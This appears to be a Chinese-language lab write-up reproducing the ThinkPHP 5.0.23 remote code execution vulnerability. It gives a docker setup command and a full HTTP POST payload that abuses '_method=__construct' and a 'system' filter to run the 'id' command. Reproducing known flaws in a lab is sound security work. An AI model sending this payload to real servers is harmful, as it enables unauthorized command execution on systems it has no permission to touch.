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# ThinkPHP5 5.0.23 远程代码执行漏洞
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中获取method的方法中没有正确处理方法名导致攻击者可以调用Request类任意方法并构造利用链从而导致远程代码执行漏洞。
参考链接:
- https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
## 漏洞环境
执行如下命令启动一个默认的thinkphp 5.0.23环境:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到默认的ThinkPHP启动页面。
## 漏洞复现
发送数据包:
```
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
```
成功执行`id`命令:
![](1.png)